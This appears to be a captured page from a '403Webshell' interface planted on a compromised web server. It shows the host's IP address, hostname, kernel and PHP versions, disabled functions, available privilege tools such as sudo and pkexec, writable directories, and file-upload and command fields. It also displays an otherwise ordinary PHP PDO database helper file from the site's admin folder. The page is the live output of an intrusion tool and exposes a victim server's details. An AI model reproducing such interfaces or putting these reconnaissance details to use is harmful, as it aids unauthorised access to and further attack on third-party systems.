403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/globavet.com/webadmin/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/globavet.com/webadmin/inc/Db.php
<?php

require_once dirname(__FILE__).DIRECTORY_SEPARATOR.'Pdotester.php';

/*
 * Database helper for PDO-MySQL
 * init() before use
 *
 *
 */

class Db{

	public static $dbh;

	public static function init($dsn, $user, $password){
		try {
			$options = array(
					PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8'
			);
			//self::$dbh = new PDO($dsn, $user, $password, $options);
			self::$dbh = new PDOTester($dsn, $user, $password, $options);

		} catch (PDOException $e) {
			//send email report to system admin
			//$headers	= 'From: '.ADMIN_EMAIL."\r\n";
			$subject	= "[OneERP]Could not connect to DB";
			$msg		= 'Connection failed: ' . $e->getMessage();
			//mail(ADMIN_EMAIL, $subject, $msg, $headers);
			//log_write($e);
			//myerror("$subject", false);
			//header("Location: ".ERROR_PAGE);
			print $subject;
			//print $msg;
			exit;
		}
		return self::getDbh();
	}


	public static function getDbh(){
		return self::$dbh;
	}

	//depreciated, please use $sth->error()
	public static function showerror($sth, $q, $param=''){
		//global $sth;
		if(!$q && DEBUG>0 )
		{
			print"Execute query error, because: <br/><pre>";
			print $sth->getSQL().HTML_EOL;
			var_dump( $sth->errorInfo() );
			print"</pre>";

			$dump = error_get_last();
			//adderrorlog( 'SQL error', $dump['message'].PHP_EOL.$sth->getSQL( (array)$param) );
			exit;
		}
	}

	//new method
	public function error($sth, $q, $param=array()){
		//global $sth;
		if(!$q && DEBUG>0 )
		{
			print"Execute query error, because: <br/><pre>";
			print $sth->getSQL($param).HTML_EOL;
			var_dump( $sth->errorInfo() );
			print"</pre>";

			$dump = error_get_last();
			//adderrorlog( 'SQL error', $dump['message'].PHP_EOL.$this->getSQL( (array)$param) );
			exit;
		}
	}


	//return all rows of the query
	public static function all($sql, $sql_param=array()){
		$sth = self::getDbh()->prepare($sql, $sql_param);
		$sth->execute( $sql_param );
		//echo $sth->getSQL( $sql_param ) . HTML_EOL;
		$rows = $sth->fetchAll(PDO::FETCH_ASSOC);
		return $rows;
	}

	//return first row of the query
	public static function first($sql, $sql_param=array()){
		$tmp = self::all($sql, $sql_param);
		return $tmp[0];
	}

	//return first row and column of the query
	public static function val($sql, $sql_param=array()){
		$sth = self::getDbh()->prepare($sql);
		$q = $sth->execute( $sql_param );
		//echo $sth->getSQL( $sql_param ) . HTML_EOL;
		pdo_showerror($sth, $q);
		return $sth->fetchColumn();
	}

	public static function uuid(){
		$sql = "SELECT UUID() ";
		return self::val($sql);
	}

	//warpper functions
	public static function beginTransaction(){
		self::$dbh->beginTransaction();
	}
	public static function commit(){
		self::$dbh->commit();
	}
	public static function rollBack(){
		self::$dbh->rollBack();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit